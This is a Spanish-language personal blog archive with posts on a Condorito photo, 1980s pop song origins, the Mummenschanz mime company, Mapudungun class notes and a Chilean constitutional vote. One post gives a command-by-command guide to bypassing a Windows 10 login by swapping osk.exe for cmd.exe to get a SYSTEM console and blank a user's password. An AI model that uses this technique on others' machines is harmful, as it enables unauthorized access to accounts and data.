febrero 15, 2020

Condorito en Puerto Montt
Compartir en FacebookComparte este enlace en Facebook


Hasta Condorito ha sido afectado por «Los Tiempos Mejores». Aquí lo vemos lejos de su amado Pelotillehue, en la ciudad de Puerto Montt intentando juntar unas chauchas para llenar el buche. 14 de febrero de 2020.

febrero 07, 2020

Reventar Constraseña de Windows 10
Compartir en FacebookComparte este enlace en Facebook


Con un Pendrive de Booteo entrar a la consola

Ir al Directorio

C:\Windows\System32>

Renombrar la aplicación Teclado En Pantalla (On Screeen Keyboard)

ren osk.exe osk2.exe

Hacer una copia de La Consola pero que quede como si fuera El Teclado en Pantalla

copy cmd.exe osk.exe

Reiniciamos el equipo

Vamos a accesibilidad (silla de ruedas), teclado en pantalla y como renombramos esa aplicación se lanza en vez de ella la consola y con todo los privilegios más encima.

C:\Windows\System32>

Aquí veo con qué privilegios estoy

whoami

Si sale esto vamos por buen camino

nt authority\system

Para ver que usuarios tiene el equipo

net user

Si necesitamos más datos de un usuario X

net user USUARIO | findstr Nombre

Para cambiar la contraseña de usuario X

net user USUARIO *

Le podemo poner enter, enter, para que quede sin contraseña

Y ahora podemos entrar sin problema

(dbería poder usarse de inmediaro, pero es mejor reiniciar por si acaso para que tome el cambio de contraseña. A mi se me quedó pegado cuando lo hice sin reiniciar)

Fuente:
https://www.youtube.com/watch?v=8mCN1NPAzl0

enero 30, 2020

«Baby Talk» de Alisha
Compartir en FacebookComparte este enlace en Facebook


Es indudable el parecido de este tema con «Into the Groove» de Madonna.

«Baby Talk» de Alisha fue publicado en Septiembre de 1985 y «Into tje Groove» en julio de 1985. Sin embargo el tema que interpreta Alisha es una versión del original compuesto en 1984 por Greg Brown pero la versión original de Brown es más simple y más Funk.

Lo más probable entonce es que para realizar la versión de 1985 los productores se hayan inspirado en «Into the Groove» para imirar los arreglos tanto melódicamente como en los sonidos de los sintetizadores y la percusión. Además la voz de Alisha Ann Itkin se parece a la de Madonna y hasta se dijo en su momento que podría ser la próxima Madonna.

No está de más decir que el estilo de «Into the Groove» y «Baby Talk» de Alisha se enmarcan en lo que se conocía como «Free Style» a mitad de los 1980's. En los comentarios les dejo la versión original de 1984.

El Tema «Into the Groove» de Madonna fue utilizado para la banda de sonido del film de 1985 «Desperately Seeking Susan».







Referencias:

https://en.wikipedia.org/wiki/Baby_Talk_(Alisha_song)#Background_and_chart_performance

https://en.wikipedia.org/wiki/Baby_Talk_(Alisha_song)#Background_and_chart_performance

https://en.wikipedia.org/wiki/Alisha_(singer)

enero 11, 2020

La Compañía de mimos «Mummenschanz»
Compartir en FacebookComparte este enlace en Facebook


A fines de los años 70 vi en TVN un comentario sobre una especie de obra de teatro que se estba presentando en Santiago con mimos que tenían la particularidad de que en sus caras tenían una mas moldeable tipo greda de color blanco supongo (en esos años no había TV en colores en Chile). Los mimos vestían con ropa oscura e iban transformando su mascaras. Recuerdo que la comentarista era un mujer y correspondía a la sección de espectáculos del noticiero 60 Minutos.

Quedé impresionado por el perfomance pero nunca tuve mayor información hasta que ahora gracias Internet alguien lo publicó hace tiempo y pude encontrar los videos en Youtube.

La Compañia se llama «Mummenschanz» y es de origen suizo. Fundada en 1972 y a partir de 1973 hicieron giras por USA, Canadá y Sudamérica (ahí fue cuando vinieron a Chile y estuvieron en Santiago).

Esta compañía se hizo popular por su actuaciones con una puesta en escena que incluye máscaras no tradicionales, luces y coreografías entre otros elementos.

«Mummenschanz» es un término alemán que significa algo como mascarada equivalente a «mummer» en inglés que se relaciona con actuaciones populares desde el siglo XXIII aprox. y que involucra a gente disfrazada. En la acualidad se relaciona también con los mimos.

Entre otras, han aparecido en Los Muppets y en un video clip musical de los años 80's "Devil's Ball" de la banda Double (recuerdo el video pero nunca lo asocié a las imágenes que vi en mi niñez).













Aunque uno de los fundadores murió en 1992 la compañía sigue activa hasta los días de hoy.

Referencias:
https://en.wikipedia.org/wiki/Mummenschanz

https://en.wikipedia.org/wiki/Mummers%27_play

diciembre 28, 2019

Elfo
Compartir en FacebookComparte este enlace en Facebook


Foto para el Intagram.

imagen a mayor resolución en: https://www.deviantart.com/bufoland/art/Elfo-27-dic-2019-825018991

diciembre 19, 2019

Apuntes de Tse Süngun
Compartir en FacebookComparte este enlace en Facebook


4-dic.-2019


Chalin: Saludo Presentación

Pentuku: (Literal Dejarse visto) Es un saludo más protocolar. Tiene 4 partes.

Mari mari: saludo más transversal

Mushkay: saludo más familiar, más intimo, se usa cuando hay más confianza.

Mari mari monku ta tse / Saludo a toda la gente (Monku / todo)

Muskay monku ta che / Saludo a toda la gente

Mushkay pu peñi pu lamuen

Mushkay pu peñintun (se usa cuando hay puros hombres)

Mushkay pu lamuentun (se usa cuando hay puras mujeres)

Chali Srüpun / Despedida

Pewkayal / despedida en mapudungun

Ka antu pewayen / Otro día nos veremos

Pewayen / nos veremos (todos nosotros)

Pewayu / nos veremos (nosotros dos)

Muchay / hasta más rato

Pichi müchay / hasta un ratito más

Wall / en otra ocación

Wall pewayu / en otra ocasión nos vemos (nosotros dos)



¿Chumkülimi? / ¿Cómo estás?

Chu - küli - mi / Cómo - estás - tu

¿Kümelekaimi? / ¿Sigues estando bien?

:) Kümelakan / Sigo estando bien

May kümelekan / Si, sigo estando bien

Kümeleken / Estoy bien

:| Ellakechi [felenfelen] / Ahí no más (El'a / Feo)

:( Wesalen / Mal / Weskalen / bien Mal (sigo mal?)

:'( Llaskülen / Estoy triste (Llas / Tristeza)

:-S Kutrankülen / Enfermo (Kutran / Enfermedad)

:D Trüyülen / Estoy feliz (Trüyu es beso en otras zonas)

-_- Atrulen / Cansado

Eimi kay / Y tu?

Küme süngu tati / Buen asunto ese

Kümi tati / Ah que bueno / Bakán

1) ¿Ini Pingeimi? / ¿Cómo te llamas?

2) Walter pingei inche, eimi kay / Walter me llamo yo, ¿y tu?

2) Walter pingei tañi üy / Walter se dice mi nombre

1) ¿Tunten tripan nieimi? / ¡Cuantos años tienes?

2) Kechu masri tripan nien / 50 (5 10) años tengo

2) Epu masri yom kechu tripan nien / 25 (2 10 más 5) años tengo



Números

1.- Kiñe 2.- Epu 3.- Küla 4.- Mari 5.- Kechu 6.- Kayu 7.- srelge 8.- Pusra 9.- Aylla 10.- Masri


1) ¿Cheu mapu kupaimi? / ¿De dónde vienes tu? / ¿De qué tierras vienes tu?

1) ¿Cheu mapu tuwimi? / ¿De dónde provienes?

2) Melipulli kasra mo / Melipulli ciudad en (kasra / ciudad / lugar)



11-dic.-2019



wentru / hombre

Mal'en / Mujer


Pronombres Personales

Inche / Yo

Eimi / Tu

Feiti / El, ella, ese, esa, eso


Aku-n / Llegar acá (todos los verbos están en pasado)
Inche akun / llegué
Eimi akuimi / Llegaste
Feiti akui / Llegó

Akui kiñe huentru / llegó un hombre

Akuimi sruka mo / llegasta a la casa


Waitu-n / Saltar
Inche waitun / Yo salté
Eimi waituimi / Tu saltaste
Feiti waitui / El(ella) saltó


Tute-n / Aprender [Congeniar]
Inche tuten / Yo aprendí
Eimi tuteimi / Tu aprendiste
Feiti tutei / El aprendió


Powü-n / Llegar allá
Inche powün / Yo llegué
Eimi powüimi / Tu llegaste
Feiti powüi / El llegó

Müle-n / Estar
Inche mülen / Yo estoy
Eimi müleimi / Tu estás
Feiti mülei / Él está

Matetu-n / Tomar Mate (tu implica consumir)
Inche matetun / Yo tomé mate
Eimi matetuimi / Tu tomaste mate
Feiti matetui / El tomó mate

Weichatu-n / Combatir
Inche weichatun / Yo combatí
Eimi weichatuimi / Tu combatiste
Feiti weichatui / El combatió

Allkü-n / Oir (audición)
Inche allkün / Yo escuché
Eimi allküimi / Tu escuchaste
Feiti allküi / El escuchaba

Allkütu-n / Escuchar
Inche allkütun / Yo escuchaba
Eimi allkütuimi / Tu escuchabas
Feiti allkütui / El escuchaba

Füke-n / Pedir algo
Inche füken / Yo pedía algo
Eimi fükeimi / Tu pedías algo
Feiti fükei / El pedía algo

Shiwentu-n / Acompañar
Inche Shiwentun / Yo acompañaba
Eimi shiwentuimi / Tu acompañabas
Feiti shiwentui / El acompañaba

Wünma-n / Amanecer
Inche wünman / Yo amanecí
Eimi wünmaimi / Tu amanciste
Feiti wünmai / El amaneció

Chilkatu-n / Estudiar
Inche chilkatun / Yo estudiaba
Eimi chilkatuimi / Tu estudiabas
Feiti chilkatui / El estudiaba

Kofketu-n / Comer Pan
Inche kofketun / Yo comía pán
Eimi kofketuimi / Tu comías pán
Feiti kofketui / El comía pán

Kimeltu-n / Enseñar
Inche kimeltun / Yo enseñaba
Eimi kimeltuimi / Tu enseñabas
Feiti kimeltui / El enseñaba


19-12-2019


Wünman / Amanecer (WÜn / La Mañana)

Chasinman / Chasi-nma-n / salar (La partícula NMA indica que se está actualdo sobre algo o alguien)

Mawünman / Mawün-nma-n / Me llovío (Mawün / La Lluvia)


Pronombres Plurales

Inchen / Nosotros [Inchin]

Eymün / Ustedes todos, vosotros, vosotras

Feyti Engün / Ellos, ellas, esos, esas


Inchen akuyen / Nosotros llegamos [akuyin]

Eymün akuimün / Ustedes llegaron, Llegasteis

Feyti akui engün / llegaron

Se puede decir Akui engün y se entiende igual

¿Küme akuimün? / ¿Llegaron bien?

¿Küme akui ta che? / ¿Llegó bien la gente?

May, küme akui engün / Si, llegaron bie


May, feyti küme akui engün / igual se puede usar el feyti, pero no se usa tanto.


Askintun / divisar algo, vista panorámica


Lenin / Mirar, ver


Challwan / Pescar


Süngun / Hablar


Küchakan / Lavar cosas


Pütremtun / Fumar (Pütrem / algo que se fuma)


Usrkün / Cansarse


Urskütun / Descansar, echarse


Komütun / Contemplar [Mirar de pies a cabeza despectivamente]


Challwatun / Comer pescado


Nütramkan / Conversar


Pin / Decir, voluntad que expresa una persona, manifestarse (Pilan / No quiero, no es mi voluntad)


Kimniekan / recordar


Kimtukun / Entender algo


Amon / Ir, avanzar [amun]


Katrün / Cortar algo


Sriatun / Cortar leña (Srian / Leña)


Pewman / Soñar


Amotun / Irse de vuelta


Pen / Observar algo con detenimiento




Inchen Kütsakayen /

Eimün kütsakaimün /

Feyti kütsakai engün /


Dios pile pewayu / Si Dios quiere nos veremos (la partícula le indica condicional)


Müñetun / Bañarse, lavarse el cuerpo


Süngu / Asunto


Challwan süngu / Todo lo relacionado con la pesca


Katrüi ni sungu / Cortó su asunto


Kütral / Fuego


Kutran / Kütran / Enfermedad


Lawen süngu / Todo lo relacionado con la medicina


Küme challwaimün? /


¿Küme pewmanimün ? /

May, Inchen pewmanyen /


¿Küme usrkütunimün? /


26 de dic. de 2019


Mülen / Ser o Estar (este si es en presente)

Inche Mülen / Yo soy o estoy

Eymi Müleimi / Mülimi

Feyti mülei / müli

Inchen müleyen (suena müliyen)

Eimün müleimün /

Feity mülei engün


Mapuche ngiyen / Mapuche somo nosotros


Posesivos

Inche mülen ñi sruka mo / Estoy en mi casa

mo / mew / mu / en / desde / de

Inche küpan ñi sruka mo / Vengo de mi casa

Eimi müleimi (ta) mi sruka mo / Estas en tu casa

¿Müleimi ta mi sruka mo? / ¿Estás en tu casa? (se puede obviar el pronombre tu/eimi)

Feyti mülei (ta) ñi sruka mo / El está e mi casa

Inchen müleyen in sruka mo / Estamos en nuestra casa (in / nuestra [iñ])

Eimün müleimün tamün sruka mo

Feity mülei engün ñi sruka mo

Feity mülei ñi sruka mo engün

Amonmasrin / Rezo

Epu troi / Meli troi

wünen / estar primero

ngünen / dominar algo

kishu tain ngünewün miawkelayen / no andamos por nuestra propia voluntad

Chew / dónde

wisriwe / lápiz

Mütrümkawe / lo que se ocupa para llamar, teléfono

wente / sobre algo

Minu / debajo de lago (el Lonko Camiao decía que los Mapuche ya sabían todo lo que iba a traer el winka y por eso tenían nombres previamente)

tushpe / vehículo

famo / aquí, en este lugar

eitimo / ahí, en ese lugar

eitamo / acá, cercano a uno

wampo / bote, canoa, micro

chillka / libro, cosas con escritura

chumpisru / sombrero

wekun / afuera de

wenu / arriba

fusritu / detrás de uno

minche / debajo

uñum / aves

tayeu / aquel, en aquel lugar, allá lejos


¿Chew müli? / ¿Dónde está?

Tarea armar oraciones...


8 de enero de 2020


Mütrümun / llamar
we / que se usa para
Mütrümkawe / teléfono

Pichan / barrer
pichawe / que sirve para barrer, escoba

Fusri süngu / hablar por detrás


Kiñe: ¿Chew mülimi? / ¿Dónde estás?

Epu: Inche mülen sruka mo / Estoy en la casa

Epu: ¿Eimy kay? ¿Chew mülimi? / ¿Y tu? ¿Dónde estas?

Kiñe: Mülen pu lemuntu / Estoy dentro de la montaña (bosque de renuevo)

Mawisan / Montaña

Epu: Kümei tati, pewayu / Qué bueno, nos vemos (los dos) (también se puede usar Femi tati/que bueno)

Kiñe: ¿Chew müli tami peñi? / ¿Dónde está tu hermano?

Epu: Ka mülei lemuntu mo / también esta en la montaña

Epu: ¿Chew müli ta mi wampo? / ¿Dónde está tu bote?

Kiñe: Inche ta ñi wampo müli leufu mo / mi bote está en el río (igual puede ser: Leufu mo müli ta ñi wampo)


1) ¿Chew müli ta ñi wisriwe?

2) Kimniekalan / no recuerdo

2) Kimlan / No lo se

2) Ta mi wisriwe müli wente mesa mo / Tu lápiz está sobre la mesa (liwetupem / mesa de comer)

1) ¿Chew müli ta mi chillka? / ¿Dónde está tu libro?

2) Ta ñi chillka müli pu ta ñi kutama / Mi libro está dentro de mi cartera

1) ¿Chew müli wisriwe? / ¿Dónde está el lápiz?

2) Wisriwe müli wente liwentupem mo / El lápiz está sobre la mesa de comer

¿Chew müli mütrümkawe? / ¿Dónde está el teléfono?

Chillka müli wekun sruka mo / El libro está afuera de la casa

¿Chew müli wisriwe? / ¿dónde está el lápiz?

Wisriwe müli minu silla mo / El lápiz está debajo de la silla

Chillka müli wente computador mo / El libro está sobre el computador

Chillka müli fusritu eimi mo / El libro está atrás de ti

¿Chew müli ta ñi wampo? / ¿Dónde está mi bote?

Ta mi wampo müli lafken mo / Ta mi wampo müli pu lafken mo / Tu bote está en el mar (o en el lago)

¿Chew müli ta ñi trasriwe? / ¿Dónde está mi faja?

Ta mi trasriwe müli ta mi sruka mo / Tu faja está en tu casa

Ta ñi trasriwe müli wente silla mo / Mi faja está sobre la silla

Ta mi trasriwe müli wekun sruka mo / Tu faja está afuera de la casa

¿Chew müli pifika? / ¿Dónde está la pifilka?

Pifilka müli feity peñi ñi sruka mo / la Pifilca está en la casa de ese peñi


15 de enero de 2020


Chew / Dónde

¿Chew mülimi? / ¿Dónde estás?

Wisrin / escribir
wisriwe / objeto que usa para escribir, lápiz

mütrúmkawe / objeto con que se llama varias veces

pichawe / objeto que se us para barrer, escoba

wente / sobre

minche / debajo

wenu / arriba

man püle / por la derecha (man / derecha ; püle / por)

fusritu / dretrás

wekun / afuera

pu / dentro

wele püle / por la izquierda

man piuke / corazón correcto

welwn süngu tati / mal augurio, mala señal

¿chew püle amoi? / ¿Por dónde se fue?

Fau püle / por acá

Huilli püle amoi / Se fue por el sur

Srito püle / por ahí derecho

Michun / Ñaiki / Ñasrki

¿Chew müli ñasrki? / ¿Donde está el gato?

Ñasrki müli wente mesa mo / El gato está sobre la mesa

Wente liwentupem mo müli ñasrki

minu / debajo cubierto por

Ñasrki müli minche liwentupem mo

minche liwentupem mo müli

Ñasrki müli fusritu sruka mo

Fusritu sruka mo müli

¿Chew müli ñasrki? / ¿Donde está el gato?

Wekun srula mo müli

wele püle sruka mo müli

Pu sruka müli / dentro de la casa está

Pu Sruka mo müli

¿Chew müli sewü? / ¿Donde está el ratón?

Minche wanko mo müli

Wente wanko mo müli

¿Chew müli neuneutu? / ¿Donde está la oveja?

Wekun malal mo müli / Afuera del corral está

weku / tío

Chi neuneutu pu mawisantu müli / La oveja en lo profundo dentro de la profunda montaña está

mawisan-ntu / montaña-pluralizador

Menokontu / lugar donde hay muchos manantiales

Trewantu / Jauría de perros

Fotrantu / barrial (fotra / barro)

¿Chew amoi neuneutu? / ¿Donde se fue la oveja?

¿Chew amoi tañi Ñuke? / ¿A dónde se fue tu mamá?

Tami ñuke amoi Tenglo Huapi mo

Ta mi ñuke amoi man püle

¿Chaew amoi ta ñi Ñasrki? / ¿Dónde se fue mi gato?

Ta mi ñasrki amoi wekun sruka mo

Wekun sruka mo amoi

¿Chew amoi ta ñi trewa?

Ta mi trewa amoi wele püle

Ta mi trewa amoi kasra mo

Trewa amoi man püle

¿Chew mülimun? / ¿Dónde están ustedes?

Chen / Qué [Chem]

¿Chen ta fa? / ¿qué es esto? [¿Chem tu fa?]

¿Chen (ngepi) ta fa? / ¿Qué (será) esto (ngepi expresa duda)

¿Chen ta ti? / ¿Qué es eso?

¿Chen gnepi ta ti? / ¿Qué será eso?

Kiñe chumpisru ta fa / Esto es un sombrero

Kiñe chumpisru ta ti / Eso es un sombrero


22 de enero de 2020


Yenewe / Lugar de ballens (yene / ballena)

Pichikeche / Niños

Pichike wentru / Niños varones

Pichieke mal'en / niñas

Monkü pu che / Toda la gente

Askintun / Divisar

Challwa / Pez

Challwan / Pescar

Chalwatun / Comer pescado

Chalwafü / Pescador [challwafe]

Kollof / Müngo / Cochayuyo

Kusrü / Negro

Kallfü / Azul

Kasrü / Verde

Chos / Amarillo

Kelü / Rojo

Paine / Celester

Lig / Blanco

Kol'pi / Naranjo

Kolü / Café

Kasü / Gris

Koñol / Morado

Pewmatujo / Interpretador de sueños

Meli troi ngülam / 4 partes consejo, Consejo en 4 partes

Mutrümün / Llamado, Mensaje

Kiñe Mutrümün / Un llamado

Elchen / Lo que nos dejó como gente (el / dejar, chen / gente)

Kuse / Anciana

Fücha / Anciano

Ülcha / joven muchacha

Weche / joven muchacho

Tutelu

Tuten / Aprender

Chew tamün tuwün / De dónde sea que provengan

Falinche / Persona Valiosa

Falin Süngu / Asunto valioso

Pikentukun / Poner en el corazón, valorar algo en el corazón

Kimün / Sabiduría

Nütramkan / Conversaciones

Chillkatun / Estudiar

Kewün / Lengua de nuestra boca, Nuestro idioma

Yewentukun / Avergonzarse (tukun / poner)

Monge / La Vida

Mapuche Monge / La Vida Mapuche

Mallma / Sobervio

Lonkontukun / Poner en la cabeza


Cámara aprobó en general reforma a la Constitución pero rechazó paridad y cuota indígena
Compartir en FacebookComparte este enlace en Facebook


La Cámara de Diputados aprobó en general el proyecto de reforma constitucional que modifica el Capítulo XV de la Constitución y que habilita el proceso constituyente.

Sin embargo, por falta de quórum (3/5), los diputados rechazaron las indicaciones sobre paridad de género, facilidades para la representación de independientes y cuotas para los pueblos indígenas (80 votos a favor, 62 en contra y siete abstenciones).

Nota completa en: https://www.cooperativa.cl/noticias/pais/politica/constitucion/camara-aprobo-en-general-reforma-a-la-constitucion-pero-rechazo-paridad/2019-12-18/172200.html

Detalle de la Votación que impidió Equidad de Género y Representación de Pueblos Originarios en el Proceso Constituyente (Para tener en cuenta cuando estos parlamentarios vayan por la reelección):

https://www.camara.cl/trabajamos/sala_votacion_detalle.aspx?prmID=32319

diciembre 14, 2019

Versión Original de «You Keep Me Hangin' On»
Compartir en FacebookComparte este enlace en Facebook


Son muchos los temas musicales que son versiones de otros más antiguos. Algunos son clásico y otros no. Hace pocome encotré con la sorpresa que el tema «You Keep Me Hangin' On» interpretado por Kim Wilde y producido por Stock, Aitken y Wateman (THe Hit Factory) no era la versión original.

La versión original es de 1966 por del trío The Supremes, en el cual participaba Diana Ross. Este Trío estadounidense fue de los pocos que logró varios hits en la misma época en que The Beatles reinaba. El tema «You Keep Me Hangin' On» fue compuesto por los productores Holland-Dozier-Holland, que s u tiempo al igual que SAW (Stock, Aitken y Waterman) también se constituyeron como una fábrica de Hits musicales.







Además hay una versión psicodélica de 1977 por la Vanilla Fudge.



Referencias:

https://es.wikipedia.org/wiki/The_Supremes

https://es.wikipedia.org/wiki/Holland-Dozier-Holland